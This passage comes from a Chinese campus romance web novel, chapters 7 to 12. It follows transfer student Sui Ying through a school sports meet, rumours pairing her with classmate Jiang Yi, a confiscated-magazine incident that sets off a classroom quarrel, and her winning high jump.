上午语文课，班主任威严地巡视了一圈教室，见鲁骏座位空着，她立刻出去，据闻是从三班教室门口拎来的。
理由是鲁骏经过三班教室，往里张望。
哎！谁让他有前科。
班主任在楼道里教育完鲁骏，回到教室宣布，“上课迟到就不要再进来”，然后开始上课，讲了五分钟，才把鲁骏拎回座位。
顾柔嘉现在就拿班主任今早的气话当鸡毛。
“班主任的意思是，”
“韫韫，”隋英打断了苏韫的话，“我去楼道温书，你帮我拿一下英语笔记。”
说完就出了教室。
反正自习课在楼道里温书的同学很多，就是当着同学的面挨训有些难堪，她不得不小小还击一下。
有意无视顾柔嘉，给她个软钉子碰。
苏韫冲顾柔嘉翻了个白眼，故意阴阳怪气，“老师有没有说过迟到了不许学习啊。”
教室里一片哄笑，被顾柔嘉大声呵斥了几声才止住。
长长的楼道里三三两两背读的同学，高二七班教室外就站了隋英一个，她不想浪费时间，翻开刚借阅的书读了起来。
光线忽然暗了一瞬，带着风拂过额前碎发，隋英下意识抬眸，蒋弋已经走到门口，又退后一步。
少年略带质疑的眸光睇向隋英，“这里光线暗。”
“……啊，对。”女生脸皮又红了。
少年摘掉头戴式耳机，似乎是想听清她的话。
七班走廊外是枝繁叶茂的香樟树，仿佛会偷光，导致他们班教室外的光线比其他地方暗一点。
隋英后知后觉才反应过来，他的意思是“这里光线暗，怎么不进去”。
苏韫恰好拿着英语笔记出来，见到蒋弋，双眼放光，“蒋弋，迟到了不许进教室。”
蒋弋没有理会苏韫的意思，薄薄的眼皮微掀，刚准备进教室，被苏韫撑着手臂拦住，“隋英也因为迟到被罚站。”
罚站？
隋英眨眨眼，苏韫冲她挑挑眉，她只好闭嘴。
“学习委员定的规矩。”苏韫补充道。
少年嗤笑一声，姿态倦怠，单腿支地，斜靠在墙上，从腋下拿出书翻开，好像接受了罚站。
苏韫冲隋英努努嘴。
隋英：感觉他挺乖的。
苏韫：有点瘆得慌，我先撤了。
隋英是不想与顾柔嘉起冲突才到教室外的，蒋弋为何？
“你们在干嘛？”顾柔嘉突然从苏韫身后冒出，吓得小妮子跳开好几步。
不小的动静引得隔壁班楼道里温书的同学侧目。
“弋哥，咦？隋英，你们怎么不进去？”鲁骏从楼梯口拐进跑来，从领口掏出几本杂志，大概是见有同学在，又塞了回去。
苏韫，大声且骄傲地开口：“迟到了，蒋弋和隋英同学在罚站，鲁骏，你也要一起罚站。”
“有病吧你，”鲁骏揣着杂志催促，“赶紧进教室，一会老师该来了。”
“这怎么行，”苏韫故意拿话挤兑顾柔嘉，“班主任定的规矩，迟到了就去外面站着去，今天早上
7. Chap.07
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晚自习走读生九点半，住校生十点半下课。
九点半，班上只走了五六个同学，苏韫说班上只有一半住校生，其他都离家近，一般会写作业到十点半十一点，才回家。
隋英离家远，公交坐到底站，还有一小段路，回家都快十一点，还要再写一会作业，早上要比别的同学早起一个半小时。
每天睡不够。
收拾好作业，隋英出了教室，却被班主任叫住。
“隋英同学，住校的事跟家长商量了没有？你在你原先的高中是好学生这没什么，咱们学校竞争大，你每天比别的同学少学习三个小时，一年就少一千多个小时，到时候你还有什么优势，赶紧回去说，明天就过来交申请表，去吧。”
同样没有说话的机会，隋英点点头，提着帆布袋出了校门。
夜景后移，树影婆娑，公交一直保持空一半的状态。
隋英习惯坐最后一排，“……‘桂棹兮兰桨，击空明兮泝流光。泝流光，泝流光’”后面是什么？
明天语文讲《赤壁赋》，在公交车上没法看书，她就默默背诵复习。
今晚却心不在焉。
她已经跟父母说了住校的事，没同意。
今天母亲会回家，她不知道怎么再开口。
从小由爷爷奶奶带大，与父母见面相处很拘谨，可爷爷过世，奶奶没主见，她的很多事情都要父母做主。
每次开口之前，都要在心里演练数次，做一番心理建设。
“你怎么回来的这么晚？”这次母亲先开口，“给你留了饭，先吃吧。”
隋英瞥了眼墙上的钟表，十一点二十，时间控制的不错。她放下帆布袋，将作业本掏出来，和餐桌上的醋瓶一样高。
“妈，我奶奶睡了吗？”
“睡了。”
翕唇，嗫嚅，就是开不了口，隋英干脆去拿针线，穿针准备自己缝帆布袋，母亲这才看到，接过针线，“你先去吃饭。”
“带子抽线，这么多书，怎么不背书包？”
“书包挂桌子里面，晚自习拿的时候会影响同学，我就抱着作业，出了教室才装带子里的，没想到断了。”
母亲周蕊林似想到了什么，“你们不是一起放学？”
“住校生十点半下晚自习，图书馆十一点半关门。”
母亲顿了会，“你还是想住校？”
隋英心跳加速，“…今天我们班主任又问了住校的问题，我说要回家商量。”
假装不经意回头，看表情，母亲周蕊林对这个回答应该是比较满意的。
“我这几天去找你们班主任了解一下。带子不一样长，我再去给你找个背包，你赶紧吃完写作业。”
隋英内心激动，母亲找班主任，嘿嘿，太好了。
她还在赶课程进度，作业写起来没那么溜飒，需要不停地翻苏韫原先的课堂笔记，还要翻课本。
大概十二点半，母亲周蕊林进来了一趟，没出声，悄悄放下帆布包，又放了五十块钱，然后悄悄退出去。
隋英头磕在笔帽上吃痛才清醒，凌晨一点，她强撑着做完作业，爬上床睡觉。
梦里，苏韫给她出了个主意：作业不要交，让班主任请家长，然后顺利解决住校问题，隋英笑醒了。
“我宝笑什么呢？”
奶奶端着豆浆，放下热气腾腾的馒头，提着她校服，隋英一伸手就给套上。
“奶奶你怎么不叫我，我迟到了，”一伸脚穿好鞋，奶奶拿来另外一只，“我想让你多睡会。”
“我不吃了，哎呀我迟到了迟到了……闹钟怎么不响？”
奶奶提着帆布包，“响了，我关了。”
“奶奶你得叫我。”隋英呜呼哀哉跑去公交站。
最终还是迟到，晨读快结束。
平时楼道里有同学，今天一个都没有，隋英硬着头皮走进教室，却见同学们都围着讲台叽叽喳喳讨论。
她刚想从同学身后快速回座位，顾柔嘉眼尖，“隋英，你又迟到了。”
隋英：“……”
不过这次她没有让她出去的意思，而是而拿粉笔敲了敲黑板，写上她的名字，“3000米，你还想参加什么？”
隋英一脸问号，扫了眼黑板，才知道是校运动会报名，顾柔嘉是想让她参加3000米长跑。
这时鲁骏开口，“班长，隋英就是个比你高，你看她细胳膊细腿，跟林妹妹似的，哪里跑的了3000米。”
“女生3000米总要有人参加，其他同学都选完了，她来的迟，那怎么办？”顾柔嘉将问题抛出。
“往年不都是蔡晶晶吗。”鲁骏说话没过脑子。
蔡晶晶一听，红着脸回了座位。
顾柔嘉抱臂，趾高气昂主持公道：“鲁骏，你这是歧视同学。”
“我没这个意思，你别上纲上线，好好好，我不说了。”鲁骏也回了座位。
蔡晶晶是属于比较壮硕黝黑的女生，偶尔有同学拿她开玩笑。
这类体育项目，大家有个约定俗成的思维，就是外表柔柔弱弱的女生不适合参加。
这时苏韫抱着一摞卷子回教室，看到黑板立刻炸毛，“我跳高？我不跳，我最怕有杆的运动，我要换。”
“那你就跟隋英换，你去跑3000米，”顾柔嘉甩了苏韫一脸，“蔡晶晶，铅球。苏韫，要不你和蔡晶晶换？”
苏韫翻了个白眼，转过身问她，“英子，你要跑3000米？”
“我，迟到了。”没人问她的意思。
“今年新增了飞行员大旋梯，男生报名的很多，女生有谁想参加？”顾柔嘉虽然是在问大家，可眼睛却盯着隋英，然后苏韫挡在隋英前面，“班长，你得起带头作用啊。”
“行了，这个项目重在参与，”体育委员丁文泽拎着一网兜篮球足球，看了眼黑板，迟疑地凝了眼顾柔嘉，“隋英跑3000米？”
隋英除了比同龄女生高一点点外，细胳膊细腿，脸小肤白，气质很符合那句歌词：“唯一纯白的茉莉花”，很能激起男生的保护欲。
看着实在不像个体育健将。
顾柔嘉没理会体育委员的疑问，直接将隋英和蔡晶晶的名字写在飞行员大旋梯这一栏。
丁文泽皱眉，“这怎么行，这个项目还是换……”刚一转头，讲台一圈围观的同学鸟兽散，女生更是直接回避视线，他只好问：“有没有人自愿参加？”
“我可以。”隋英声音平淡，脸上也没什么表情。
黑板上写的运动项目，难度低的人员都满额了，她的确迟到了，没得选，也不想为这事与人争论。
还有一点，飞行员大旋梯。
前两天在操场上看到有男生在上面荡秋千玩，她只是感慨河道二中连体育设备都是遥遥领先。
现在，包括以后，都会加入她日常的训练
8. Chap.08
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隋英和蔡晶晶没事，反倒是蒋弋小臂划了道口子，在包扎。
“你不知道？”苏韫见隋英用眼神询问她，“哦对，我告诉你，最先是蒋弋抓住旋梯，要不然你还得再来几圈360°大旋转。”
体育课，老师让他们分组为这次运动会做准备，他在沙坑那里指点跳远的同学，听到旋梯这边乱了才赶过来。
大旋梯摆起来，底下的人要抓住很危险。
隋英不由看向蒋弋。
少年不耐烦地坐着，任由医务处理伤口，一个眼神，旁边围着嘘寒问暖的男生讪讪闭嘴。
“需要去医院吗？”
“不用，伤口这两天别沾水就行，不影响参加运动会。”
老师这才放心，先离开医务室到操场镇场子。
老师走后，鲁骏嘴上开始没把门，“隋英，我们弋哥都为你负伤了，你不表示表示？”说着还冲孟谦眨眨眼。
“卧槽——弋哥要脱单，”
隋英霍然起身，打断孟谦要吐的象牙，半鞠了一躬，字正腔圆道：“蒋弋同学，谢谢你救我和蔡晶晶同学，韫韫说河道二中的传统是‘互帮互助’，希望以后我们在学习上也互相帮助，共同进步。”
说完，她潇洒转身离开医务室，留下一屋子目瞪口呆的少年，外加摇头笑的校医。
走出大楼，苏韫和蔡晶晶才追上她，“姐妹儿，刚才演讲的不错。”
隋英回头看了一眼，“我现在是申请住校的关键期，你听见他们几个说的，万一传到我妈那，我……”
“噢对对对，阿姨控制欲那么强……对不起，我嘴快，不过英子，今天这事这么多同学都看到了，还有别的班的，蒋弋名气大，肯定会传出去的。”
蔡晶晶问：“隋英，你住的远，你爸妈为什么不让你住校？每天要在路上多花费几个小时，很辛苦的。”
“……”隋英不知道怎么解释，只好捡一条父母说过的话，“我爸妈信奉艰苦教育。”
“可是高中的时间很宝贵。”
隋英：“……”
运动会定在周五，外加下周，总共十天。
隋英终于有时间补进度差距，刷题、背书、查资料，空余时间全都埋在图书馆。
“英子，学校都在传你和蒋弋的绯闻，”苏韫穿着运动服，后面还贴着400米接力赛短跑参赛号，见管理员眼神警告，忙压低声音，“真的，晶晶可以作证。”
蔡晶晶也是一头汗，点点头，坐她对面，“我扔铅球，苏韫跑接力，二十一个班交叉比赛，每组都在讨论你们。”
苏韫小鸡啄米点头，一口气喝完隋英的水，“顾柔嘉脸都绿了。”
蔡晶晶在桌底下踢了苏韫一脚，苏韫：？哦，隋英的脸更绿。
“怎么办？”隋英喃喃自语，“真的都在传？你没听错？”
“没有，就是不知道绯闻会不会传到老师那，”苏韫看了眼隋英被吓傻的脸色，安慰道：“哎呀没事，这种事最多传两三天，只要你和蒋弋是清白的，大家觉得没意思，就不会再传了。”
“不，不，”隋英都吓结巴了，“我妈今天会来学校。”
隋英猛地站起，“走，我们去操场。”
苏韫看着摊开的资料笔记，“你不是说你今天必须学完“导数”吗？反正这两天都不会有你的比赛，你还是趁着运动会不上课赶紧补进度吧。”
“事有轻重缓急，我先去看看情况，”隋英含糊道，“要是让我妈知道我就完了。”
心事重重坐在阶梯台阶上，抱着双膝，隋英将脸深深埋进臂弯，父母老师一遍又一遍逼问她，非要她说出早恋对象的一幕再次袭来。
当时真的差点扛不住，准备随口说一个。
“隋英，同学都要比赛了你还在这睡觉。”
头顶传来顾柔嘉的娇斥声，瞬间将她拉回暴热的现实，隋英缓缓站起来，才看到苏韫在活动拉伸。
4乘以100米接力比赛决赛。
“班长，隋英脸色不好，就在这休息吧。”有同学替她说话。
顾柔嘉白了一眼，转身道：“孔枚，这边交给你，男生组标枪比赛要开始了，我得过去一下。”
隋英下了台阶，帮着苏韫拍拍肩颈，“你是第四棒，我一会在终点那边等你。”
“苏打水苏打水，还有毛巾，哦对了，记得拿我的遮阳帽，”苏韫对着脸猛喷防晒，“今天才第三天，我都晒脱皮了，你怎么还这么白。”
“她每天蹲在图书馆，当然白，”孔枚揶揄，“隋英，3000米你可别糊弄，就是爬也要爬完。”
苏韫拉伸手臂，“孔嬷嬷，别总是重复顾师太的话，要有自己的主见。”
“我是为了集体荣誉，再说了，这三天我们班的奖牌数明显少于其他班，你没看到班主任的脸色很差吗。”
这倒是真的。
苏韫冷哼一声，不再与她互呛。
接力决赛正式开始，隋英站在终点站外围，一直盯着第五跑道，身边却传来各种闲言碎语：
“她就是隋英，乡下转来的插班生。”
“挺一般的，蒋弋不可能看上她。”
“图个新鲜吧，比南歌子差点。”
苏韫普及过，南歌子是三班班花，等上届成名艺考生王姝（艺名林姝和）的讨论声降下，她就是下一任校花。
隋英觉得离谱，是个女生都要跟南歌子比吗？
讨论声还在继续，而且似乎是有意引起她的注意，越来越大声，就连掐秒表的老师都回头看。
如果不是最后一棒马上到终点，他可能要过来维持秩序。
听到呐喊声，隋英围上，苏韫第一个撞线，一下子扑到她怀里，“英子，冠军冠军，啊……”
啊啊啊！
什么叫乐极生悲，苏韫蹦跶地太高，一脚踩在跑道外围凸起的砖线上，脚一歪，整个人摔了个狗啃泥。
同班几个同学合力将她扶到操场医务室点。
这两天医务室格外忙碌，运动会嘛，磕着碰着都很正常。
苏韫两个膝盖擦破，擦药的时候吱哇乱叫，班上男生过来拿防中暑的药，见到隋英也在，忍不住嘴贱，“隋英，蒋弋在篮球场，你不去加油吗？”
临时医务室是敞篷的，学生老师来来往往。
隋英恨不得把虎皮膏药贴他嘴上。
“咦，这不是蒋弋女朋友嘛，”又一个二愣子男生捂着胳膊，“果然跟鲁骏说的一样漂亮。”
男生个头超过一米八五，高二七班班主任是个中等身材的中年女性，站在大高个身后。
但，七班学生哪怕看到班主任的一只手，一只脚，刻板的头发丝，都能一眼认出。
苏韫不嚎叫了，乖乖站起来，“老师。”
班主任显然听到男同学的话，犀利地眼神扫过隋英，而后说道：“苏韫同学，伤的严重吗？一会上台领奖可以吗？晚自习之前把周记交上来。你家长是六点
9. Chap.09
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“同学是你呀，”
隋英条件反射站起，桌椅“刺啦”响声格外刺耳，“…老师。”
管理员是个小年轻，被她的举动弄的有点懵，“坐吧，我就是看你天天来，记得你。对了，这几天飞行类的书籍又来了一批新书，看你挺有兴趣的，告诉你一声。”
“谢谢老师。”
隋英站着没动，今天肯定不适合借非教材类书。
看了眼时间，还有一分钟打铃，她赶紧出了图书馆。
运动会期间不要求上晚自习，但一二班如常上晚自习，其他班一看，尖子班都这么卷，自然不甘落后。
更何况班主任说了今晚要来晚自习。
平常晚自习走过楼道能听见教室里嗡嗡读书声，今日只有沙沙写字音。
隋英轻声喊报告，经过讲台时，余光瞥见讲桌上放着一堆杂志，光看封面都能想入非非。
毛边、破损、褶皱，一定经常温顾。
天哪，比她了解的多了五六倍呀，这是断了多少青春期男生的精神食粮。
她会被打死吗？
隋英低头回到座位，坚决不与任何同学有目光接触。
主要太心虚，太害怕，还有些许愧疚。
回座位要经过蒋弋，她不敢直视他的目光。
坐下时忽感眼前挡着一堵墙，旁边一只手敲了下她的桌子，隋英悚然一惊，才发现同桌鲁骏和前桌蒋弋站着。
“鲁骏同学，你刚才在干什么？”班主任老母鸡护崽般快步杀到眼前。
“老师我错了，我再也不买杂志了。”鲁骏从善如流。
隋英低着头，余光扫了一圈教室，孟谦也站着，体育委员丁文泽也站着，还有孔枚？女生也看这些杂志吗？
真是人不可貌相。
脑子里胡思乱想丝毫不影响手上的动作。
她已经摊开语文阅读理解训练题，听见班主任威严中带着警告语气的声音：
“别以为我不知道你们在想什么，告诉你们，我带过十届学生，什么样的手段我没见过，我不需要任何人反应，你们干什么我都一清二楚。”
隋英抿着唇，班主任人还怪好的，替她洗清嫌疑，可惜呀~
“都出去站着。带着课本。”
滋滋啦啦桌椅挪动，四个男生加一个女生出了教室，班主任也出去，顺便关上门。
大概是怕教育的声音太大，影响到教室里其他同学。
可是，拿着课本还要挨训，确定看的进去？真考验注意力。
隋英抬头，数道目光如同镭雕般朝她射来，以顾柔嘉最甚，还用全班都能听见的气声说道：“小人。”
“班主任还在外面。”苏韫没有收声。
其他同学立刻把头转回去，顾柔嘉愤愤瞪了她俩一眼，才转过去。
苏韫和隋英隔着过道，一番眼神交流，苏韫满脸担忧，隋英像是刚虎口脱险，又掉进狼窝。
不经历一番撕咬怕是爬不出去。
苏韫递过来笔记本：【事情好像闹大了，你怎么办？】
隋英瞥了眼窗外：【我必须先过我妈这关】传过去时顾柔嘉正好又回头用眼神警告她。
做了两篇阅读理解，写完一篇作文，蒋弋几人终于回教室。
隋英抬头，看到坐楼道窗户旁的同学朝外探头探头，然后一脸轻松地坐下，教室里瞬间闹哄起来。
班主任走了，她完了。
时间：9点30分。
隋英极快地收拾好书包，今晚她还得回家住。
不知道班主任给母亲说了什么，不知道母亲究竟能不能同意她住校，总之今晚得早点回家。
“你就是个小人，”孔枚最先冲到隋英面前，“隋英，你卑鄙，你敢告状，……放手。”
孔枚冲过来就要扯头花，隋英个头比她高不少，反应更快，一把抓住她手腕，侧身避开，苏韫已经挡在身前，双手推开孔枚。
隋英赶忙去拉苏韫，生怕打起来再把班主任招来。
“真是你告的状？”鲁骏显然不愿意相信。
隋英避开男生视线，大家都站着，她只是比女生高，在这几个平均身高一八五的男生面前，又做了亏心事，真是矮高大一截。
丁文泽没理隋英，拍拍鲁骏和蒋弋，“别忘了明早七点练球，这次比赛要是输了，班主任新账旧账一起算。”
“不是你怎么能这样，”孟谦还是不能接受，“看你文文静静的，没想到背后捅刀。”
“没错，隋英，我们河道二中高二七班不收留叛徒，滚回你的学校去，无耻的贱人。”孔枚显然气疯了，挣扎着还要动手。
她被其他同学拦着，苏韫叉腰挡在隋英面前，“是你恬不知耻偷看成人杂志，英子是为了你们好，哼，我就不相信你爸妈支持你看这些乱七八糟的东西。”
苏韫被隋英拦回，她又一把将隋英扯身后，隋英嘴皮子没这几个女生快，声音也被掩盖，只能死命抱着苏韫，生怕她吃亏。
隋英自己后背挨了几拳倒不疼，就是小腿被踢了一脚，疼的她下意识腿弯曲，险些没站稳。
苏韫一下子都将她拦在身后，“孔枚不要脸，偷看成人杂志，不要脸！”
孔枚气的跳起来要踢苏韫，“那不是，不是那种杂志，苏韫我要撕烂你的嘴，”
后面抱着她的同学受力撞倒桌椅，呼啦啦乱成一团。
“谁不要脸，孔枚不要脸，全班就你一个女生看成人杂志！”苏韫河东狮吼，专门挑人肺管子戳。
隋英去拦，被她大力一推，险些摔倒，声音更是完全淹没。
“够了，这是晚自习，”顾柔嘉大声呵斥，“孔枚。”
孔枚头发散乱，泫然欲涕，苏韫语言的杀伤力实在强悍，她到底是女孩子，被当众骂偷看成人杂志肯定受不了。
顾柔嘉勉强维持住秩序，忽然走过来，对着苏韫冷笑道：“不是你告诉我们，隋英找老师打小报告去了，让我们赶紧藏好杂志。”
说着，似在等隋英的反应。
苏韫回头看了眼隋英，“对，可惜你们藏垃圾桶里，班主任首先翻的就是垃圾桶。”
“隋英打小报告，你出卖朋友，现在又装姐妹情深，奥斯卡欠你们一座小金人啊。”
苏韫受不了激，冷嘲道：“我们是，…那也比你陷害同学要强，是吧孔枚。”
“你，”顾柔嘉咬牙切齿，瞥了眼孔枚，后者立刻两肋插刀，“我才不会像你一样出卖朋友。”
“哐当”！
蒋弋一脚踹翻凳子。
瞬间，教室静的连喘息声都听不到。
苏韫还挡在隋英前面，可她明显身体后仰，隋英大力将她按回座位
10. Chap.10
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隋英走后，教室里炸开了，连隔壁班都跑来看热闹。
“你们老班又发威了。啧啧！”
“听说是你们班同学打的小报告？哪位勇士啊！”
“她叫隋英，乡下转来的插班生。”
“就是和蒋弋传绯闻的那个？”
“就是她打蒋弋的小报告。”
……
孔枚趴在课桌上哭的昏天暗地，起初顾柔嘉和另外几个女生还安慰她，后来顾柔嘉就烦了。
“行了别哭了，蒋弋都替你认错了，有什么好哭的。”
孔枚红肿着双眼，抽抽噎噎抬头，“是你把杂志塞我书包里的呀，我都替你，”
“你没看见吗，是孟谦扔过来，在我们两个的书桌上，我想藏起来，免得大家都受牵连，”顾柔嘉愤愤道：“要怪，就怪隋英。”
孔枚没说话，杂志当时是丢顾柔嘉书桌上，她拿起就塞她书包里的。
顾柔嘉瞪了眼孔枚，转头问蔡晶晶，“你每天都和隋英厮混，她该不会一直收集大家的把柄吧，她下次要打谁的小报告？”
“没有啊，我不知道。”蔡晶晶背起书包就要走，却被顾柔嘉拦住。
“我记得她住的挺远的，之前就说要申请宿舍，为什么还没有交申请表？”
*
“妈呀，吓死我了。”刚下楼，隋英就半挂在苏韫身上，“我腿软。”
苏韫也是脚步虚浮，“我才被你给吓死了。”
“韫韫，不是让你通知他们吗，怎么还会被老师抓个正着。”
隋英让苏韫通知班上男生转移杂志，不要隐瞒她打小报告的事。
她设想的结果是班主任查不到，蒋弋就只有没交作业这一项问题。
虽然事后她可能会挨班主任批评，得罪蒋弋，但事情最起码可控。
却没想到会起获这么多杂志，还抓到这么多同学。
蒋弋和鲁骏她亲眼所见，不奇怪。孟谦、丁文泽和他们玩的好，也正常。关键还有女同学牵扯其中。
刚刚又闹这么一出。
哎！以后她被班上同学孤立，也是活该。
毕竟谁也不喜欢与打小报告的同学一起玩是吧。
“我百米冲刺速度去篮球场通知了他们，你不知道我们班的男生头脑简单四肢发达，鲁骏还信誓旦旦地说‘垃圾桶最保险’，结果班主任最先翻垃圾桶。”
苏韫觉得还不如不通知。
“既然在垃圾桶翻到，怎么罚了这么多同学？”
她只说了蒋弋。
苏韫快速说了一遍事情经过。
原来，苏韫通知后，打篮球的同学，包括围观的女生立刻赶回教室消灭证据。
望风同学喊了句“班主任来了”，一番混乱，塞垃圾桶，所有人正襟危坐。
本来，谁也别承认就好。
接着，bug出现了，班主任衣角折射在过道窗户上时，前排的孟谦发现自己桌肚里还有一本。
还有一本。！
吓傻了的孟谦直接往后一抛，“往后传，快！”好巧不巧落在顾柔嘉桌上，她直接拿起塞孔枚书包里。
“顾柔嘉怎么这样？不是，孔枚不能解释吗？她扔地上就好了呀。”
“当时她也吓傻了。”
人在极度惊惧的情绪下的动作都是出于本能，而非思考。
班主任直奔垃圾桶，翻出一堆杂志，气的嗓子冒烟，让所有人把桌肚书包里的书都拿出来。
面对班主任的雷霆之怒，孔枚哪里有一点抵抗力，直接吓得乱指。
这时，蒋弋站起来，承认所有杂志都是他的，包括孔枚那本，是他硬塞到她书包里的。
紧接着丁文泽也站起来，孟谦往后一看，也闷头站起来，鲁骏最后垂头丧气地站起来。
忙活了半天，结果都以最快的速度承认。
“这么说孔枚也挺冤枉的呀，班主任不听解释吗？”
孔枚见蒋弋有意护着她，羞涩大过害怕，立刻出卖孟谦，说是孟谦塞给她的。
孟谦知道是自己的问题，直接承认。
这横七竖八的认错在班主任眼里就是罪加一等的包庇，以及，两个男生争着抢着维护一个女生的早恋倾向。
大忌呀！
隋英庆幸，幸亏及时撇清。
“噗……，你不知道，班主任当时听了孔枚的话，说‘那你为什么不拒绝，不拒绝就是思想有问题，再不说实话就通知家长’，哈哈哈……顾柔嘉吓得笔掉了都不敢捡。”
“可她到底没有把顾柔嘉供出来，她却那样对她。”
“她自己愿意。”
苏韫照着她额头敲了个爆响，“你都自身难保了，还有心情管别人。”
“我没办法呀，只有这么做才能阻止流言蜚语。”运动会上不认识的同学都在议论，还当着班主任的面调侃。
班主任在办公室都问她了。
周蕊林马上到达战场，她没得选。
“伤敌一千自损八百，”苏韫摇头叹气，“我提醒你，学校里喜欢蒋弋的女生很多，她们有可能为蒋弋报仇，为难你。”
隋英苦笑，“传我和蒋弋绯闻的时候，你也说她们会为难我。”
苏韫干笑两声，“还有啊，他一块玩的男生也特别多，那些男生大多数多头脑简单，难保不会有替他出头的狗腿子。”
学校推拉门后，狗腿子1号2号3号面面相觑。
“她们在骂我们？”个最高的是六班大高个陈灿阳，天天与蒋弋几个一起打篮球。
鲁骏撇撇嘴，“骂你们俩。”
孟谦摇头，“我不是狗腿子。”
“烧烤摊要走了，快。”
“等等，再听听，说不定她们还有我们什么把柄。”
“有道理。”
隋英叹气，站住路灯下等公交，“我怎么这么倒霉啊，全班，哦不，全校男生和女生都要为难我。”
“还不是你想的馊主意。”
“学校都在传我和蒋弋早恋的绯闻，这是我唯一能想到撇清关系的方法，”隋英十分苦恼，“你说到底是谁最先传的谣言？”
苏韫歪着脑袋，“对啊，除了你给蒋弋打了47分，他借书给你，又在书店帮你出头，你们俩又一起罚站，体育课上他为你受伤之外，好像也没什么。”
隋英：“……”
“不是，47分是我在不知情的情况下得罪他，借书……英语书我已经还了，罚站，明明是顾柔嘉故意为难我。”
谣言一张嘴，辟谣跑断腿。
“我知道了，”苏韫一巴掌拍在隋英肩上
11. Chap.11
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学校运动会没那么严格，可以随时更换参赛人员名单，只要是本班学生，且未超过两项就行。
飞行员旋梯项目自从公布要加入运动会后，天天有男生受伤，女生报名人数不够，于是校方决定临时取消。
这样一来，隋英就只有一项3000米，替苏韫跳高并不违反规定。
隋英看着丁文泽怀疑的目光点点头。
“那我把你的名字报上去。”丁文泽躬身趴在课桌上写上隋英的名字，“别睡了蒋弋，帮忙送一下，我还有几项报名表要修改。”
“蒋弋，我和你一起。”顾柔嘉忙跟上。
蒋弋摘掉发带，发梢散乱，拿着报名单，一身红色篮球服走过几个班级，同样的年纪，蒋弋随性弛缓，佼佼不群，脸上挂着玩世不恭的笑容与认识的男生打招呼。
隋英收回目光，被苏韫拉到一边。
“英子，你就报一米……一，那个杆真的很吓人，还有那个跨栏，我练过，稍微跑快点可吓人了。”
“放心。”隋英给了她一个坚定的眼神。
临上场前，丁文泽还在安慰她，“放轻松，别有压力，我给你报了一米四，先保证拿基础分。”
隋英没意见。
按照抽签顺序，她是第三个，第二个同学也是一米四，顺利跳过，按理来说不用调整，可裁判拿着比赛表格对照了一下，调高到……比旁边站着的男生还要高。
“怎么回事？”苏韫都急了。
隋英本来已经在助跑的位置，看到苏韫招手，小跑过去。
丁文泽一番了解交涉后，“隋英，一米八，报名表只能改一次，我们已经换人了，现在改不了。…不行你就试试？。”
“你怎么不试试，一米八？，你不是说一米四吗，”苏韫闹着要改报名表，“英子都没一米七，怎么跳的过一米八。”
丁文泽也恼了，“我自己写的为什么成一米八我怎么知道。…蒋弋？”
隋英与苏韫相视一眼，都觉得是蒋弋改的。
他们亲眼看到蒋弋去送的跳高报名表。
“我去找他，”
“等等，”隋英拦住苏韫，“我跳。”
“会受伤的。”
丁文泽也担心隋英逞强，看她细胳膊细腿的，简直风一吹就倒，“算了，这个项目放弃。”
“不行，班主任肯定会生气。”隋英看了一眼苏韫，“我可以。”
裁判也在催促他们，丁文泽和苏韫也只能退到线外。
丁文泽见蒋弋盯着一米八的杠凝眉，低声问：“怎么回事？你。”
“什么意思啊，哈哈，林妹妹疯了，要跳一米八？”鲁骏笑的太大声。
孟谦直接趴他肩上，“她要走蔡晶晶风格，杜绝一切和弋哥传谣言的可能。”
“可惜昨晚少吃了顿烧烤。”陈灿阳揉着腹肌，感觉自己又瘦了。
三只大喇叭早将昨晚听到的墙根传遍他们这个小圈子，总结起来一句话：隋英真的不想和蒋弋传绯闻。
隋英已经开始助跑，眼风忽然扫到蒋弋，以及“吆吼~”野兽叫声，吓得她直接刹车，险些扑在地垫上。
裁判气的骂道：“闭嘴，谁再叫就跑十圈。”
苏韫指着他们几个，“你们就是故意的，蒋弋，有必要这么为难英子吗，事关集体荣誉，是吧丁文泽。”
体育委员也很头疼，“我不管了。”
听这意思，鲁骏用胳膊肘戳戳蒋弋，“你干的？漂亮，班主任在不在，弋哥，拿手机拍照，肯定摔这儿，敢打我们小报告，一定要她好看。”
蒋弋斜睨了眼顾柔嘉，目光薄凉，只一瞬便收回。
顾柔嘉心虚低头。
“孟谦，你去扶一下垫子，鲁骏，你在那边做个保护。”
孟谦和鲁骏一愣，还是照着做，“弋哥大气。”
总共两次跳的机会，隋英第二跳。
深呼吸，助跑，起跳，过杆，后背落地，翻身站起，一气呵成。
动作优美，干净利落。
“哇！”苏韫直接扑上垫子抱住她，“一米八，打破世界记录，英子，你太厉害了。”
“你少夸张，”隋英赶紧捂嘴，拉着她下了垫子，“跳高世界纪录是两米五六。”
苏韫已经激动坏了，“宝宝你怎么这么厉害，这个成绩一定是冠军，是不是，是不是？”她急于找到班上同学的认可。
被指派扶垫子孟谦和鲁骏呆滞地点头。
丁文泽高兴坏了，“我去告诉班主任，天哪，隋英，这个成绩咱们学校女生没有过，哦去年有个体育生跳了个一米八是吧，哎呀，今年没体育生，赢定了，你有这本事不早说，”
话都没说完就跑去找班主任报喜去了。
“我就觉得她行，”顾柔嘉觑着蒋弋脸色，想去看他手机，她走近时他已经按灭屏幕，装兜里，“你也想她出糗啊，你放心，总会让你出气的，我已经，”
顾柔嘉径自说着，蒋弋已经离开，她讪讪闭嘴。
见苏韫和隋英那么得意，她顿时来气，“隋英，你有这特长报名的时候干嘛不说？”
“我说了呀，给我换接力和跳高，班长，你没问我就给我选了我并不擅长的运动。”
顾柔嘉气结，她哪里记得隋英说过什么，不过是把最难的给她。
“但是你没说跳高是你的特长。”
隋英想了下，“我低调。”
苏韫“噗嗤”笑喷了，“有些人啊，又坏又蠢，偷鸡不成蚀把米，”隋英赶紧拉着她迎上班主任。
“你是会气人的。”走远了，苏韫才止住笑，回头看顾柔嘉握紧拳头的样子又噗噗嗤嗤笑了一通。
“班主任过来了。”
隋英赶紧站好，苏韫也站好。
刻板严谨不苟言笑的高二七班班主任张建章女士，第一次露出和蔼的笑容，拍拍隋英肩膀。
先是肯定了她的为班级挣得荣誉的成绩，然后问她是不是体育特长生。
隋英和苏韫一贯保持着听话的态度，下意识点头，班主任很惊讶地问：“你是体育特长生？”
然后停顿，意思是要回答？
“不是，”隋英摇头，“之前学校的老师说我有跳高天分，高考可以加分，我自
12. Chap.12
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高二七班3000米长跑大项目拿了第一，整个七班都沸腾了，跳着叫着围上去。
隋英将碎发捋在耳后，额头上渗出的汗珠在阳光下晶莹剔透，脸颊微红，嘴唇微张，调整呼吸。
